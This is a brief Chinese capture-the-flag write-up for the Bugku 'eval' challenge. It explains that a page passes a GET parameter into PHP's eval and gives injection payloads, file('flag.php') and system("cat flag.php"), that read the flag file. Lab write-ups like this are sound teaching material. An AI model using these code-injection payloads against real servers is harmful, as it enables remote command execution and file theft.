[PHP知识库]bugku-eval题解

??eval

? ???

访问目标地址，发现一段php代码，简单分析

? ? ??

?主要考察php

在url后加?hello=file('flag.php')即可

?

知识点：

此题考察php相关
include是将flag.php文件包含进页面代码
$request可用于接受get和post的传递的参数
eval函数可以把字符串作为php命令执行

知道这些你就可以用get方法传递hello变量，并在hello其内写入查看flag.php的命令了

?hello=file(‘flag.php’)
或者
hello=system(“cat flag.php”) 查看源码